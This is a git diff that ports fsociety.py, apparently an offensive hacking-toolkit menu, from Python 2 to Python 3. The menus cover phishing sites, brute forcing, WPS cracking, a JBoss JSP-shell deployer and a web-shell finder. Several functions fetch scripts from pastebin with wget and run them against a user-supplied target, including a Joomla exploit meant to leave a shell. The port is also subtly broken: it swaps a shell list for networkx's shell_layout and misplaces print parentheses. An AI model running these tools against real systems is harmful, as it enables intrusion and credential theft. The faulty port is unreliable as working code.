diff --git a/fsociety.py b/fsociety.py index 56f6573..a68db72 100644 --- a/fsociety.py +++ b/fsociety.py @@ -17,13 +17,16 @@ ''' Imports ''' +from collections import UserDict +import pwd import sys import argparse import os -import httplib +import http.client import subprocess import re -import urllib2 +import urllib.request +import urllib.error import socket import urllib import sys @@ -31,19 +34,21 @@ import telnetlib import glob import random -import Queue +import queue import threading import base64 import time -import ConfigParser +import configparser from sys import argv -from commands import * +from subprocess import * from getpass import getpass from xml.dom import minidom -from urlparse import urlparse +from urllib.parse import urlparse from optparse import OptionParser from time import gmtime, strftime, sleep +from networkx import shell_layout + ''' Common Functions ''' @@ -67,7 +72,7 @@ def clearScr(): def yesOrNo(): - return (raw_input("Continue Y / N: ") in yes) + return (input("Continue Y / N: ") in yes) ''' @@ -76,7 +81,7 @@ def yesOrNo(): installDir = os.path.dirname(os.path.abspath(__file__)) + '/' configFile = installDir + "/fsociety.cfg" print(installDir) -config = ConfigParser.RawConfigParser() +config = configparser.RawConfigParser() config.read(configFile) toolDir = installDir + config.get('fsociety', 'toolDir') @@ -135,7 +140,7 @@ def agreement(): clearScr() print(termsAndConditions) print(mrrobot4) - agree = raw_input("You must agree to our terms and conditions first (Y/n) ").lower() + agree = input("You must agree to our terms and conditions first (Y/n) ").lower() if agree in yes: config.set('fsociety', 'agreement', 'true') @@ -143,7 +148,7 @@ class fsociety: def __init__(self): clearScr() self.createFolders() - print (fsocietylogo + color.RED + ''' + print(fsocietylogo + color.RED + ''' }--------------{+} Coded By Manisso {+}--------------{ }--------{+} GitHub.com/Manisso/fsociety {+}--------{ ''' + color.END + ''' @@ -159,7 +164,7 @@ def __init__(self): {11}-CONTRIBUTORS {99}-EXIT\n ''') - choice = raw_input(fsocietyPrompt) + choice = input(fsocietyPrompt) clearScr() if choice == "1": informationGatheringMenu() @@ -203,7 +208,7 @@ def githubContributors(self): YboodP YbodP 88 Y8 88 88 Yb 88 88oodP 8bodP' ''') contributorsURL = 'https://api.github.com/repos/manisso/fsociety/contributors' - jsonResponseList = json.loads(urllib2.urlopen(contributorsURL).read()) + jsonResponseList = json.loads(urllib.request.urlopen(contributorsURL).read()) for dictionary in jsonResponseList: print(" * %s" % dictionary['login']) print('\n') @@ -215,7 +220,7 @@ def createFolders(self): os.makedirs(logDir) def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() def update(self): @@ -242,7 +247,7 @@ def __init__(self): " {3}--pyPISHER - Tool to create a mallicious website for password pishing") print(" {4}--SMTP Mailer - Tool to send SMTP mail\n ") print(" {99}-Back To Main Menu \n") - choice6 = raw_input(fsocietyPrompt) + choice6 = input(fsocietyPrompt) clearScr() if choice6 == "1": setoolkit() @@ -259,7 +264,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -288,7 +293,7 @@ def __init__(self): " {11}-BruteX - Automatically brute force all services running on a target") print(" {12}-Arachni - Web Application Security Scanner Framework \n ") print(" {99}-Back To Main Menu \n") - choiceweb = raw_input(fsocietyPrompt) + choiceweb = input(fsocietyPrompt) clearScr() if choiceweb == "1": maine() @@ -321,7 +326,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -336,12 +341,12 @@ class privateWebHacking: def __init__(self): clearScr() print(self.menuLogo) - target = raw_input("Enter Target IP: ") + target = input("Enter Target IP: ") Fscan(target) self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -360,7 +365,7 @@ def __init__(self): print(" {2}--POET") print(" {3}--Phishing Framework \n") print(" {99}-Return to main menu \n ") - choice11 = raw_input(fsocietyPrompt) + choice11 = input(fsocietyPrompt) clearScr() if choice11 == "1": sitechecker() @@ -375,7 +380,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -405,7 +410,7 @@ def __init__(self): print(" {7}--Doork") print(" {8}--Crips\n ") print(" {99}-Back To Main Menu \n") - choice2 = raw_input(fsocietyPrompt) + choice2 = input(fsocietyPrompt) clearScr() if choice2 == "1": nmap() @@ -430,7 +435,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -466,7 +471,7 @@ def install(self): def run(self): clearScr() print(self.nmapLogo) - target = raw_input(self.targetPrompt) + target = input(self.targetPrompt) self.menu(target) def menu(self, target): @@ -477,19 +482,19 @@ def menu(self, target): print(" {2}--Port Scan [-Pn]") print(" {3}--Operating System Detection [-A]\n") print(" {99}-Return to information gathering menu \n") - response = raw_input("nmap ~# ") + response = input("nmap ~# ") clearScr() logPath = "logs/nmap-" + strftime("%Y-%m-%d_%H:%M:%S", gmtime()) try: if response == "1": os.system("nmap -sV -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "2": os.system("nmap -Pn -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "3": os.system("nmap -A -oN %s %s" % (logPath, target)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "99": pass else: @@ -509,7 +514,7 @@ def __init__(self): else: print(alreadyInstalled) self.run() - response = raw_input(continuePrompt) + response = input(continuePrompt) def installed(self): return (os.path.isfile("/usr/bin/setoolkit")) @@ -536,10 +541,10 @@ class host2ip: def __init__(self): clearScr() print(self.host2ipLogo) - host = raw_input(" Enter a Host: ") + host = input(" Enter a Host: ") ip = socket.gethostbyname(host) print(" %s has the IP of %s" % (host, ip)) - response = raw_input(continuePrompt) + response = input(continuePrompt) class wpscan: @@ -558,7 +563,7 @@ def __init__(self): self.install() clearScr() print(self.wpscanLogo) - target = raw_input(" Enter a Target: ") + target = input(" Enter a Target: ") self.menu(target) def installed(self): @@ -576,7 +581,7 @@ def menu(self, target): print(" {2}--Plugin Enumeration [--enumerate p]") print(" {3}--All Enumeration Tools [--enumerate]\n") print(" {99}-Return to information gathering menu \n") - response = raw_input("wpscan ~# ") + response = input("wpscan ~# ") clearScr() logPath = "../../logs/wpscan-" + \ strftime("%Y-%m-%d_%H:%M:%S", gmtime()) + ".txt" @@ -585,15 +590,15 @@ def menu(self, target): if response == "1": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate u --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "2": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate p --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "3": os.system( "ruby tools/wpscan/wpscan.rb %s --enumerate --log %s" % (wpscanOptions, logPath)) - response = raw_input(continuePrompt) + response = input(continuePrompt) elif response == "99": pass else: @@ -618,9 +623,9 @@ def __init__(self): self.install() clearScr() print(self.CMSmapLogo) - target = raw_input(" Enter a Target: ") + target = input(" Enter a Target: ") self.run(target) - response = raw_input(continuePrompt) + response = input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) @@ -656,7 +661,7 @@ def __init__(self): clearScr() print(self.XSStrikeLogo) self.run() - response = raw_input(continuePrompt) + response = input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) @@ -686,9 +691,9 @@ def __init__(self): self.install() clearScr() print(self.doorkLogo) - target = raw_input(" Enter a Target: ") + target = input(" Enter a Target: ") self.run(target) - response = raw_input(continuePrompt) + response = input(continuePrompt) def installed(self): return (os.path.isdir(self.installDir)) @@ -763,7 +768,7 @@ def __init__(self): print( " {2}--BruteX - Automatically bruteforces all services running on a target\n") print(" {99}-Back To Main Menu \n") - choice3 = raw_input("passwd ~# ") + choice3 = input("passwd ~# ") clearScr() if choice3 == "1": cupp() @@ -776,7 +781,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -829,7 +834,7 @@ def __init__(self): print(" {2}--pixiewps") print(" {3}--Bluetooth Honeypot GUI Framework \n") print(" {99}-Back To The Main Menu \n") - choice4 = raw_input(fsocietyPrompt) + choice4 = input(fsocietyPrompt) clearScr() if choice4 == "1": reaver() @@ -844,7 +849,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -947,7 +952,7 @@ def __init__(self): print(" {8}--Bruteforce the Android Passcode given the hash and salt") print(" {9}--Joomla SQL injection Scanner \n ") print(" {99}-Go Back To Main Menu \n") - choice5 = raw_input(fsocietyPrompt) + choice5 = input(fsocietyPrompt) clearScr() if choice5 == "1": atscan() @@ -974,7 +979,7 @@ def __init__(self): self.completed() def completed(self): - raw_input("Completed, click return to go back") + input("Completed, click return to go back") self.__init__() @@ -999,7 +1004,7 @@ def install(self): os.system("cd %s && chmod +x install.sh && ./install.sh" % self.installDir) def run(self): - target = raw_input("Enter Target IP: ") + target = input("Enter Target IP: ") os.system("brutex %s" % target) @@ -1024,7 +1029,7 @@ def install(self): "gem install bundler && bundle install --without prof && rake install") def run(self): - target = raw_input("Enter Target Hostname: ") + target = input("Enter Target Hostname: ") os.system("arachni %s --output-debug 2> %sarachni/%s.log" % (target, logDir, strftime("%Y-%m-%d_%H:%M:%S", gmtime()))) @@ -1045,7 +1050,7 @@ def gabriel(): os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") clearScr() os.system("python gabriel.py") - ftpbypass = raw_input("Enter Target IP and Use Command:") + ftpbypass = input("Enter Target IP and Use Command:") os.system("python gabriel.py %s" % ftpbypass) @@ -1058,7 +1063,7 @@ def sitechecker(): def ifinurl(): print(''' This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.''') print('Do You Want To Install InurlBR ? ') - cinurl = raw_input("Y/N: ") + cinurl = input("Y/N: ") if cinurl in yes: inurl() else: @@ -1068,14 +1073,14 @@ def ifinurl(): def bsqlbf(): clearScr() print("This tool will only work on blind sql injection") - cbsq = raw_input("select target: ") + cbsq = input("select target: ") os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") os.system("perl bsqlbf.pl -url %s" % cbsq) os.system("rm bsqlbf.pl") def atscan(): - print ("Do You To Install ATSCAN ?") + print("Do You To Install ATSCAN ?") if yesOrNo(): os.system("rm -rf ATSCAN") os.system( @@ -1085,8 +1090,8 @@ def atscan(): def commix(): - print ("Automated All-in-One OS Command Injection and Exploitation Tool.") - print ("usage: python commix.py --help") + print("Automated All-in-One OS Command Injection and Exploitation Tool.") + print("usage: python commix.py --help") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/stasinopoulos/commix.git commix") @@ -1106,13 +1111,13 @@ def joomlarce(): os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") clearScr() print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") - jmtarget = raw_input("Select a targets list:") + jmtarget = input("Select a targets list:") os.system("python temp.py %s" % jmtarget) def inurl(): - dork = raw_input("select a Dork:") - output = raw_input("select a file to save:") + dork = input("select a Dork:") + output = input("select a file to save:") os.system( "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) webHackingMenu.completed("InurlBR") @@ -1130,11 +1135,11 @@ def insinurl(): def jboss(): clearScr() - print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") - print ("deployed, the script uses its upload and command execution capability to") - print ("provide an interactive session.") - print ("") - print ("usage: ./e.sh target_ip tcp_port ") + print("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") + print("deployed, the script uses its upload and command execution capability to") + print("provide an interactive session.") + print("") + print("usage: ./e.sh target_ip tcp_port ") print("Continue: y/n") if yesOrNo(): os.system( @@ -1145,13 +1150,13 @@ def jboss(): def wppluginscan(): Notfound = [404, 401, 400, 403, 406, 301] - sitesfile = raw_input("sites file: ") - filepath = raw_input("Plugins File: ") + sitesfile = input("sites file: ") + filepath = input("Plugins File: ") def scan(site, dir): global resp try: - conn = httplib.HTTPConnection(site) + conn = http.client.HTTPConnection(site) conn.request('HEAD', "/wp-content/plugins/" + dir) resp = conn.getresponse().status except Exception as message: @@ -1178,7 +1183,7 @@ def main(): def sqlmap(): - print ("usage: python sqlmap.py -h") + print("usage: python sqlmap.py -h") if yesOrNo(): os.system( "git clone --depth=1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") @@ -1191,9 +1196,9 @@ def grabuploadedlink(url): for dir in directories: currentcode = urllib.urlopen(url + dir).getcode() if currentcode == 200 or currentcode == 403: - print "-------------------------" - print " [ + ] Found Directory: " + str(url + dir) + " [ + ]" - print "-------------------------" + print("-------------------------") + print(" [ + ] Found Directory: ") + str(url + dir) + " [ + ]" + print("-------------------------") upload.append(url + dir) except: pass @@ -1202,20 +1207,20 @@ def grabuploadedlink(url): def grabshell(url): try: for upl in upload: - for shell in shells: + for shell in shell_layout: currentcode = urllib.urlopen(upl + shell).getcode() if currentcode == 200: - print "-------------------------" - print " [ ! ] Found Shell: " + \ + print("-------------------------") + print(" [ ! ] Found Shell: ") + \ str(upl + shell) + " [ ! ]" - print "-------------------------" + print("-------------------------") except: pass def shelltarget(): print("Exemple: http://target.com") - line = raw_input("target: ") + line = input("target: ") line = line.rstrip() grabuploadedlink(line) grabshell(line) @@ -1255,7 +1260,7 @@ def bing_all_grabber(s): try: bing = "http://www.bing.com/search?q=ip%3A" + \ s + "+&count=50&first=" + str(page) - openbing = urllib2.urlopen(bing) + openbing = urllib.request.urlopen(bing) readbing = openbing.read() findwebs = re.findall('